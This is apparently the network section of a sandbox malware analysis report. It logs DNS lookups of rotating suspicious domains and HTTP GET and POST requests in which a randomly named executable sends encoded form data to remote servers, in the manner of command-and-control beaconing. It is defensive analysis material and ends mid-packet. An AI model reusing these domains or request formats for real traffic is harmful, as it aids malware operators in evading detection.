Nov 28, 2024 09:16:34.288311005 CET	50022	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:34.288434982 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.288678885 CET	50022	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:34.295603037 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:34.295717955 CET	50022	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:34.296807051 CET	50022	80	192.168.2.5	52.60.87.163
Nov 28, 2024 09:16:34.416754007 CET	80	50022	52.60.87.163	192.168.2.5
Nov 28, 2024 09:16:39.894968033 CET	50023	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:40.015450001 CET	80	50023	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:40.015559912 CET	50023	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:40.030689955 CET	50023	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:40.150796890 CET	80	50023	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:41.545133114 CET	50023	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:41.665680885 CET	80	50023	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:41.665739059 CET	50023	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:42.570051908 CET	50024	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:42.690270901 CET	80	50024	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:42.691138029 CET	50024	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:42.705497026 CET	50024	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:42.825557947 CET	80	50024	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:43.983979940 CET	80	50024	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:43.983995914 CET	80	50024	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:43.984006882 CET	80	50024	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:43.984150887 CET	50024	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:44.217026949 CET	50024	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:45.237402916 CET	50025	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:45.357377052 CET	80	50025	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:45.357470036 CET	50025	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:45.385179043 CET	50025	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:45.505238056 CET	80	50025	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:45.505254030 CET	80	50025	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:46.601273060 CET	80	50025	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:46.601397991 CET	80	50025	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:46.603797913 CET	50025	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:46.681910038 CET	80	50025	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:46.682034016 CET	50025	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:46.888840914 CET	50025	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:47.907850027 CET	50026	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:48.028002024 CET	80	50026	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:48.028162956 CET	50026	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:48.036974907 CET	50026	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:48.157043934 CET	80	50026	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:49.317785025 CET	80	50026	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:49.317852020 CET	80	50026	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:49.317867041 CET	80	50026	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:49.317982912 CET	50026	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:49.318216085 CET	80	50026	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:49.318232059 CET	80	50026	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:49.318252087 CET	50026	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:49.318273067 CET	50026	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:49.323235989 CET	50026	80	192.168.2.5	161.97.142.144
Nov 28, 2024 09:16:49.443244934 CET	80	50026	161.97.142.144	192.168.2.5
Nov 28, 2024 09:16:55.096431971 CET	50027	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:16:55.216461897 CET	80	50027	75.2.103.23	192.168.2.5
Nov 28, 2024 09:16:55.216543913 CET	50027	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:16:55.232443094 CET	50027	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:16:55.352555990 CET	80	50027	75.2.103.23	192.168.2.5
Nov 28, 2024 09:16:56.359009981 CET	80	50027	75.2.103.23	192.168.2.5
Nov 28, 2024 09:16:56.364696980 CET	50027	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:16:56.748333931 CET	50027	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:16:56.868422985 CET	80	50027	75.2.103.23	192.168.2.5
Nov 28, 2024 09:16:57.766808033 CET	50028	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:16:57.886887074 CET	80	50028	75.2.103.23	192.168.2.5
Nov 28, 2024 09:16:57.886985064 CET	50028	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:16:57.901714087 CET	50028	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:16:58.021796942 CET	80	50028	75.2.103.23	192.168.2.5
Nov 28, 2024 09:16:58.982846975 CET	80	50028	75.2.103.23	192.168.2.5
Nov 28, 2024 09:16:58.982904911 CET	50028	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:16:59.405328989 CET	50028	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:16:59.525397062 CET	80	50028	75.2.103.23	192.168.2.5
Nov 28, 2024 09:17:00.424679041 CET	50029	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:17:00.544770002 CET	80	50029	75.2.103.23	192.168.2.5
Nov 28, 2024 09:17:00.547096014 CET	50029	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:17:00.562285900 CET	50029	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:17:00.682440996 CET	80	50029	75.2.103.23	192.168.2.5
Nov 28, 2024 09:17:00.682457924 CET	80	50029	75.2.103.23	192.168.2.5
Nov 28, 2024 09:17:01.737070084 CET	80	50029	75.2.103.23	192.168.2.5
Nov 28, 2024 09:17:01.737260103 CET	50029	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:17:02.079713106 CET	50029	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:17:02.199908018 CET	80	50029	75.2.103.23	192.168.2.5
Nov 28, 2024 09:17:03.105755091 CET	50030	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:17:03.230535030 CET	80	50030	75.2.103.23	192.168.2.5
Nov 28, 2024 09:17:03.230614901 CET	50030	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:17:03.241503000 CET	50030	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:17:03.362236023 CET	80	50030	75.2.103.23	192.168.2.5
Nov 28, 2024 09:17:04.372782946 CET	80	50030	75.2.103.23	192.168.2.5
Nov 28, 2024 09:17:04.372929096 CET	80	50030	75.2.103.23	192.168.2.5
Nov 28, 2024 09:17:04.373017073 CET	50030	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:17:04.379429102 CET	50030	80	192.168.2.5	75.2.103.23
Nov 28, 2024 09:17:04.499381065 CET	80	50030	75.2.103.23	192.168.2.5
Nov 28, 2024 09:17:10.332314014 CET	50031	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:17:10.452425957 CET	80	50031	13.248.169.48	192.168.2.5
Nov 28, 2024 09:17:10.452539921 CET	50031	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:17:10.467845917 CET	50031	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:17:10.587856054 CET	80	50031	13.248.169.48	192.168.2.5
Nov 28, 2024 09:17:11.553766966 CET	80	50031	13.248.169.48	192.168.2.5
Nov 28, 2024 09:17:11.556796074 CET	50031	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:17:11.990092039 CET	50031	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:17:12.110240936 CET	80	50031	13.248.169.48	192.168.2.5
Nov 28, 2024 09:17:13.391645908 CET	50032	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:17:13.511795998 CET	80	50032	13.248.169.48	192.168.2.5
Nov 28, 2024 09:17:13.511893034 CET	50032	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:17:13.527771950 CET	50032	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:17:13.647803068 CET	80	50032	13.248.169.48	192.168.2.5
Nov 28, 2024 09:17:14.658343077 CET	80	50032	13.248.169.48	192.168.2.5
Nov 28, 2024 09:17:14.660402060 CET	50032	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:17:15.029489040 CET	50032	80	192.168.2.5	13.248.169.48
Nov 28, 2024 09:17:15.149465084 CET	80	50032	13.248.169.48	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 09:13:50.071640968 CET	54022	53	192.168.2.5	1.1.1.1
Nov 28, 2024 09:13:50.721270084 CET	53	54022	1.1.1.1	192.168.2.5
Nov 28, 2024 09:14:07.320281029 CET	49318	53	192.168.2.5	1.1.1.1
Nov 28, 2024 09:14:08.100286961 CET	53	49318	1.1.1.1	192.168.2.5
Nov 28, 2024 09:14:22.506067991 CET	60449	53	192.168.2.5	1.1.1.1
Nov 28, 2024 09:14:23.008953094 CET	53	60449	1.1.1.1	192.168.2.5
Nov 28, 2024 09:14:37.423585892 CET	61471	53	192.168.2.5	1.1.1.1
Nov 28, 2024 09:14:38.257184982 CET	53	61471	1.1.1.1	192.168.2.5
Nov 28, 2024 09:14:52.817841053 CET	65418	53	192.168.2.5	1.1.1.1
Nov 28, 2024 09:14:53.213967085 CET	53	65418	1.1.1.1	192.168.2.5
Nov 28, 2024 09:15:07.471225977 CET	63675	53	192.168.2.5	1.1.1.1
Nov 28, 2024 09:15:07.789583921 CET	53	63675	1.1.1.1	192.168.2.5
Nov 28, 2024 09:15:22.064675093 CET	63389	53	192.168.2.5	1.1.1.1
Nov 28, 2024 09:15:22.413882017 CET	53	63389	1.1.1.1	192.168.2.5
Nov 28, 2024 09:15:36.893942118 CET	63439	53	192.168.2.5	1.1.1.1
Nov 28, 2024 09:15:37.847088099 CET	53	63439	1.1.1.1	192.168.2.5
Nov 28, 2024 09:15:53.720443010 CET	57881	53	192.168.2.5	1.1.1.1
Nov 28, 2024 09:15:54.205032110 CET	53	57881	1.1.1.1	192.168.2.5
Nov 28, 2024 09:16:09.062171936 CET	63147	53	192.168.2.5	1.1.1.1
Nov 28, 2024 09:16:09.599001884 CET	53	63147	1.1.1.1	192.168.2.5
Nov 28, 2024 09:16:24.112025976 CET	59952	53	192.168.2.5	1.1.1.1
Nov 28, 2024 09:16:24.758555889 CET	53	59952	1.1.1.1	192.168.2.5
Nov 28, 2024 09:16:39.315839052 CET	57586	53	192.168.2.5	1.1.1.1
Nov 28, 2024 09:16:39.891660929 CET	53	57586	1.1.1.1	192.168.2.5
Nov 28, 2024 09:16:54.332684994 CET	64751	53	192.168.2.5	1.1.1.1
Nov 28, 2024 09:16:55.093492031 CET	53	64751	1.1.1.1	192.168.2.5
Nov 28, 2024 09:17:09.392362118 CET	51906	53	192.168.2.5	1.1.1.1
Nov 28, 2024 09:17:10.069999933 CET	53	51906	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2024 09:13:50.071640968 CET	192.168.2.5	1.1.1.1	0xbbf7	Standard query (0)	www.holytur.net	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:14:07.320281029 CET	192.168.2.5	1.1.1.1	0x29de	Standard query (0)	www.nieuws-july202488.sbs	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:14:22.506067991 CET	192.168.2.5	1.1.1.1	0xa29	Standard query (0)	www.losmason.shop	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:14:37.423585892 CET	192.168.2.5	1.1.1.1	0x6b10	Standard query (0)	www.hayaniya.org	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:14:52.817841053 CET	192.168.2.5	1.1.1.1	0x77a9	Standard query (0)	www.lovel.shop	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:15:07.471225977 CET	192.168.2.5	1.1.1.1	0xf48f	Standard query (0)	www.duskgazes.work	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:15:22.064675093 CET	192.168.2.5	1.1.1.1	0xb86f	Standard query (0)	www.zrinorem-srumimit.sbs	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:15:36.893942118 CET	192.168.2.5	1.1.1.1	0xd076	Standard query (0)	www.6822662.xyz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:15:53.720443010 CET	192.168.2.5	1.1.1.1	0x72b8	Standard query (0)	www.lingdianyun29.xyz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:16:09.062171936 CET	192.168.2.5	1.1.1.1	0x914a	Standard query (0)	www.learnnow.info	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:16:24.112025976 CET	192.168.2.5	1.1.1.1	0x2d9e	Standard query (0)	www.carpentry.club	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:16:39.315839052 CET	192.168.2.5	1.1.1.1	0x41c	Standard query (0)	www.030002449.xyz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:16:54.332684994 CET	192.168.2.5	1.1.1.1	0x1dd7	Standard query (0)	www.innovationpulse.tech	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:17:09.392362118 CET	192.168.2.5	1.1.1.1	0xfa54	Standard query (0)	www.hasan.cloud	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2024 09:13:50.721270084 CET	1.1.1.1	192.168.2.5	0xbbf7	No error (0)	www.holytur.net	holytur.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 09:13:50.721270084 CET	1.1.1.1	192.168.2.5	0xbbf7	No error (0)	holytur.net		185.106.208.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:14:08.100286961 CET	1.1.1.1	192.168.2.5	0x29de	No error (0)	www.nieuws-july202488.sbs	nieuws-july202488.sbs		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 09:14:08.100286961 CET	1.1.1.1	192.168.2.5	0x29de	No error (0)	nieuws-july202488.sbs		162.0.215.33	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:14:23.008953094 CET	1.1.1.1	192.168.2.5	0xa29	No error (0)	www.losmason.shop		104.18.73.116	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:14:38.257184982 CET	1.1.1.1	192.168.2.5	0x6b10	No error (0)	www.hayaniya.org	hayaniya.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 09:14:38.257184982 CET	1.1.1.1	192.168.2.5	0x6b10	No error (0)	hayaniya.org		192.185.147.100	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:14:53.213967085 CET	1.1.1.1	192.168.2.5	0x77a9	No error (0)	www.lovel.shop		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:14:53.213967085 CET	1.1.1.1	192.168.2.5	0x77a9	No error (0)	www.lovel.shop		76.223.54.146	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:15:07.789583921 CET	1.1.1.1	192.168.2.5	0xf48f	No error (0)	www.duskgazes.work	duskgazes.work		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 09:15:07.789583921 CET	1.1.1.1	192.168.2.5	0xf48f	No error (0)	duskgazes.work		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:15:07.789583921 CET	1.1.1.1	192.168.2.5	0xf48f	No error (0)	duskgazes.work		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:15:22.413882017 CET	1.1.1.1	192.168.2.5	0xb86f	No error (0)	www.zrinorem-srumimit.sbs		172.67.222.69	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:15:22.413882017 CET	1.1.1.1	192.168.2.5	0xb86f	No error (0)	www.zrinorem-srumimit.sbs		104.21.38.113	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:15:37.847088099 CET	1.1.1.1	192.168.2.5	0xd076	No error (0)	www.6822662.xyz		103.249.106.91	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:15:54.205032110 CET	1.1.1.1	192.168.2.5	0x72b8	No error (0)	www.lingdianyun29.xyz		121.43.155.35	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:16:09.599001884 CET	1.1.1.1	192.168.2.5	0x914a	No error (0)	www.learnnow.info		199.192.23.123	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:16:24.758555889 CET	1.1.1.1	192.168.2.5	0x2d9e	No error (0)	www.carpentry.club		52.60.87.163	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:16:39.891660929 CET	1.1.1.1	192.168.2.5	0x41c	No error (0)	www.030002449.xyz		161.97.142.144	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:16:55.093492031 CET	1.1.1.1	192.168.2.5	0x1dd7	No error (0)	www.innovationpulse.tech		75.2.103.23	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:17:10.069999933 CET	1.1.1.1	192.168.2.5	0xfa54	No error (0)	www.hasan.cloud		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 28, 2024 09:17:10.069999933 CET	1.1.1.1	192.168.2.5	0xfa54	No error (0)	www.hasan.cloud		76.223.54.146	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.holytur.net

www.nieuws-july202488.sbs

www.losmason.shop

www.hayaniya.org

www.lovel.shop

www.duskgazes.work

www.zrinorem-srumimit.sbs

www.6822662.xyz

www.lingdianyun29.xyz

www.learnnow.info

www.carpentry.club

www.030002449.xyz

www.innovationpulse.tech

www.hasan.cloud

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49772	185.106.208.3	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:13:50.858181953 CET	541	OUT	GET /cs9k/?QhKxhNP=W7SiLeR8lVOS0IddzXWoYXDt6RHub9Z/llH5xMN7IPTa857c9EQRUjsfmtg32BbwdcsWIPqYG66ejHdS265gpP2tZDtQplym5WCIjSXUngUJeAz/nR33NA1XQvWBI8EpRg==&Yby=d2ydCtHpb8 HTTP/1.1 Host: www.holytur.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 28, 2024 09:13:52.244767904 CET	304	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 28 Nov 2024 08:13:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49809	162.0.215.33	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:14:08.244015932 CET	823	OUT	POST /30le/ HTTP/1.1 Host: www.nieuws-july202488.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.nieuws-july202488.sbs Referer: http://www.nieuws-july202488.sbs/30le/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 75 46 73 62 59 4b 78 69 4a 78 59 70 67 4a 65 35 64 58 45 46 70 45 32 49 67 50 58 47 6e 79 32 78 79 75 35 31 50 58 53 64 68 46 6b 49 6a 7a 62 30 4f 54 36 2b 4c 6c 6c 35 6d 35 55 59 7a 51 42 71 66 36 6b 4e 52 4f 55 61 76 56 37 73 4f 6f 62 68 69 6d 4b 30 65 6b 6e 49 41 6b 2b 69 6c 36 61 65 6e 4d 49 76 38 64 50 43 31 32 4a 4e 65 70 30 36 32 2f 70 35 4c 59 74 65 6f 6e 69 44 56 6c 31 35 67 45 67 44 79 45 6c 2b 32 38 41 58 51 6f 33 32 75 30 48 7a 53 4b 6f 78 79 72 51 71 38 66 62 43 53 75 45 52 34 56 6a 65 73 6f 56 4c 6c 4c 44 74 45 67 43 59 76 34 42 71 41 46 4a 34 6f 2f 6f 47 75 58 44 52 4c 37 51 3d Data Ascii: QhKxhNP=uFsbYKxiJxYpgJe5dXEFpE2IgPXGny2xyu51PXSdhFkIjzb0OT6+Lll5m5UYzQBqf6kNROUavV7sOobhimK0eknIAk+il6aenMIv8dPC12JNep062/p5LYteoniDVl15gEgDyEl+28AXQo32u0HzSKoxyrQq8fbCSuER4VjesoVLlLDtEgCYv4BqAFJ4o/oGuXDRL7Q=
Nov 28, 2024 09:14:09.541932106 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Thu, 28 Nov 2024 08:14:09 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 a2 a6 aa 67 b4 21 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f b1 4b 66 6d 28 dc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 93 a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 70 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d a6 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 55 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f [TRUNCATED] Data Ascii: 1352ZJvLg!qCV's=pB<w?Kfm( o=\|3q+{XV)w]vtOv,"fv?B0GVp]nyyG=56jZ:UMh/0K'wRUX7!rVY:s^o/^VL?{fUm7n/L-B/?.+0@{?{T`+1J`,(?{~61y??1?LuwK,Dyl]XqfG}g}z@Kf]e7{._",-0A_\WXqo_Pl!.\c=$?3gE/-"!=z`@]Wh-5@yFgj]IyPN>!Io<?=nKo:;j}vV Eoqhd[\=^f&32Q#b2zcQ>2/ol?yqXV>uY]!!_u&-)o>2bi3}`dmyG;].Q>P\|}m_QmV8HrT~I*@W KYxSz125?VPtYCzug\|J
Nov 28, 2024 09:14:09.542239904 CET	1236	IN	Data Raw: a0 04 fe 66 86 37 7e fe 96 b8 4e 68 0e fe 94 80 40 fa 62 98 f1 88 cc bb 3f df 6c 73 8b da 9b e1 5e 79 79 56 5e 32 d4 c3 a0 70 63 10 eb 9a 1b 07 ec e7 f4 11 0b f8 4f fb 30 08 42 c7 71 d3 37 96 fa d1 be 5d e5 a7 0b b2 9f fd fa fd bc 37 f6 fb 15 b7 Data Ascii: f7~Nh@b?ls^yyV^2pcO0Bq7]7}E(CI?8T^4=u/"]G}~=q<^z?4GLRb ,d^s"g^a0oeZero>z9
Nov 28, 2024 09:14:09.542253017 CET	1236	IN	Data Raw: e1 b2 c4 27 0b 58 34 da 70 d9 69 82 ef 72 73 3b b1 24 71 62 db 82 c6 38 9d ee 1a 66 3a cd d5 99 44 eb ac 38 ed 5a d4 0e 66 21 4d 65 49 74 c6 3b 02 8f a1 b4 de f2 c9 36 88 d4 12 31 47 c6 d8 10 36 ee 78 8c 25 68 b5 8f 75 9a 0b e6 e2 24 1a a5 f5 82 Data Ascii: 'X4pirs;$qb8f:D8Zf!MeIt;61G6x%hu$#\|NpTqf76[J9^sNdK[(t&A\'a GXfSfQ*sam.!4_&;pBM=:rRy%9\[(n.ZAX-
Nov 28, 2024 09:14:09.543045998 CET	672	IN	Data Raw: 6d 08 e0 d4 0a dd b4 e7 e3 32 ae d7 4d c0 d2 1b 1a 33 09 f1 d4 c1 84 de 2d 8a 8e f4 b3 93 bd 45 74 ce 5f 12 27 6c 81 0b 90 1e 0f 77 22 4c 34 99 3d 2a f6 11 85 d3 79 83 a7 07 6f 05 a7 81 36 26 51 10 9a e5 51 45 2c dd 6d a7 76 75 94 fa f5 0c 5d 91 Data Ascii: m2M3-Et_'lw"L4=yo6&QQE,mvu]iR1>[$3L#$Sh=rirW:37,*27t1=fa(7k^'rAsoFT2;i\|2r.eHQb;q-neJ'q
Nov 28, 2024 09:14:09.551956892 CET	858	IN	Data Raw: 45 cb f4 78 1b 51 16 89 46 67 d2 e3 b2 a1 6c 22 05 a5 1a 3a 39 57 b9 2d c8 7d 11 65 9a 5e aa 29 e1 8e e3 05 85 61 2c 3b ed f2 40 e4 14 25 0d 76 f6 64 17 69 72 2d 04 38 d3 92 b3 5d e5 ba cc 66 bc 3f f8 70 5b 9b a4 c1 c7 f8 ae 61 75 e5 04 db 30 d5 Data Ascii: ExQFgl":9W-}e^)a,;@%vdir-8]f?p[au08jLzCf?=ne?z;+=~+Z7ZKE\|?w>:a3c,X^/s@=T^+L}'_/=;?.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49818	162.0.215.33	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:14:10.903834105 CET	843	OUT	POST /30le/ HTTP/1.1 Host: www.nieuws-july202488.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.nieuws-july202488.sbs Referer: http://www.nieuws-july202488.sbs/30le/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 75 46 73 62 59 4b 78 69 4a 78 59 70 68 74 69 35 59 77 6f 46 75 6b 32 4c 38 66 58 47 73 53 32 39 79 75 31 31 50 54 4c 59 68 7a 30 49 6a 52 7a 30 50 58 6d 2b 4d 6c 6c 35 73 5a 55 52 75 41 42 62 66 36 34 46 52 50 34 61 76 56 2f 73 4f 70 72 68 2b 41 43 33 64 55 6e 47 4e 45 2b 67 68 36 61 65 